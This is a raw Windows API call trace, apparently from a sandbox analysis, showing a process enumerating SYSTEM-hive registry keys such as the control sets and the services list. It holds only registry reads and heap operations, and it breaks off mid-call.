[0224.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0224.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.936] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0224.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0224.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.937] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0224.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1ad8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0224.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.937] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0224.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0224.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.937] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0224.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0224.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.937] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0224.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0224.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.938] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0224.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0224.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.938] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0224.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0224.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.938] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0224.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0224.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.938] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0224.939] RegCloseKey (hKey=0x150) returned 0x0 [0224.939] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0224.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0224.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.939] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0224.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0224.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.939] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0224.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0224.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.939] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0224.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0224.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.940] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0224.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0224.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.940] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0224.940] RegCloseKey (hKey=0xc4) returned 0x0 [0224.940] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0224.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0224.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.940] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0224.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0224.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bf8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0224.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.941] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0224.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0224.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1ad8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0224.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.941] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0224.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0224.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bf8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0224.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.941] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0224.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0224.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1ad8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0224.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.941] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0224.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0224.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bf8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0224.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.942] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0224.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.942] WideCharToMultiByte (in: 